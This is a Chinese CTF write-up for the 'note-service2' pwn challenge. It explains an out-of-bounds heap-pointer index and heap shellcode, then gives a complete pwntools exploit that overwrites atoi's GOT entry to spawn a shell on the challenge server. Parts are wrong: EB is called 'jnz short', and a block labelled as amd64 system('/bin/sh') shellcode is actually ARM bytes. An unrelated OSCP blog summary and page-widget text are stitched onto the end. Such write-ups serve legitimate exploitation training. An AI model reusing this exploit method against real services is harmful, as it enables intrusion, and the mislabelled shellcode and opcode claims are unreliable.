攻防世界-note-service2-Writeup

note-service2

[collapse title=“展开查看详情” status=“false”]
考点:堆上shellcode

保护情况:NX 保护关闭

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

漏洞函数:存放堆指针的数组可越界存放。也就是堆指针可放置到任意地方。

int myadd()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]
  unsigned int chunk_size; // [rsp+Ch] [rbp-4h]

  result = dword_20209C;
  if ( dword_20209C >= 0 )
  {
    result = dword_20209C;
    if ( dword_20209C <= 11 )	//chunk上限11个
    {
      printf("index:");
      v1 = getinput();
      printf("size:");
      result = getinput();
      chunk_size = result;
      if ( result >= 0 && result <= 8 )
      {
        qword_2020A0[v1] = malloc(result);	//堆指针存放可越界
        if ( !qword_2020A0[v1] )
        {
          puts("malloc error");
          exit(0);
        }
        printf("content:");
        myread(qword_2020A0[v1], chunk_size);
        result = dword_20209C++ + 1;
      }
    }
  }
  return result;
}

程序没有 NX 保护,可以将 shellcode 存放在堆上,然后通过数组越界覆盖 got 表调用 shellcode 。

程序限制堆大小不超过 8 ,且读入数据函数会占用最后一个字节写入 \x00 。可写入空间仅有 7 ,所以需要用汇编的跳转指令 jnz short xxx ,对应的十六进制为:EB xx,其中 xx 为偏移量。偏移量计算公式为:xx = 目标地址 - 当前地址 -2

程序申请一个 size 为 8 的堆结构如下:图源

从 chunk 0 jmp 头开始计算:xx = 2+1+8+8+8-2=0x19

构造一个调用 system 函数的shellcode ,然后数组越界覆盖一个可被控制输入参数的函数,例如 atoi ,传入参数 /bin/sh\x00 。这种构造方法要最后才修改 got 表,避免修改导致程序输入函数失效。

也可以到 shell-storm 找一个直接调用 system('/bin/sh') 的shellcode 一把梭哈。

完整 exp

#encodeing:utf-8
from pwn import *

context.log_level = 'debug'
context(os='linux',arch='amd64')  
p = remote("124.126.19.106",41618)
#p = process("./note-service2")

def add(index,size,content):
    p.sendlineafter("your choice>> ",'1')
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)

def delete(index):
    p.sendlineafter("your choice>> ",'4')
    p.sendlineafter("index:",str(index))

#call system
code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19') 
code1= (asm('mov eax,0x3B') + '\xeb\x19')  
code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')  
code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19') 
code4 = (asm('syscall').ljust(7,'\x90'))  

#system('/bin/sh')
shellcode0 = "\x01\x30\x8f\xe2" + '\x90\xeb\x19'
shellcode1 = "\x13\xff\x2f\xe1" + '\x90\xeb\x19'
shellcode2 = "\x78\x46\x0e\x30" + '\x90\xeb\x19'
shellcode3 = "\x01\x90\x49\x1a" + '\x90\xeb\x19'
shellcode4 = "\x92\x1a\x08\x27" + '\x90\xeb\x19'
shellcode5 = "\xc2\x51\x03\x37" + '\x90\xeb\x19'
shellcode6 = "\x01\xdf\x2f\x62" + '\x90\xeb\x19'
shellcode7 = "\x69\x6e\x2f\x2f" + '\x90\xeb\x19'
shellcode8 = "\x73\x68" + '\x90\x90\x90\x90\x90'

#write shellcode 
add(0,8,'a'*7)
add(1,8,code1)
add(2,8,code2)
add(3,8,code3)
add(4,8,code4)

#overwrite atoi@got.plt
delete(0)
add(-8,8,code0)

#send /bin/sh
p.sendlineafter("your choice>> ",'/bin/sh\x00')

p.interactive()

[/collapse]

OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值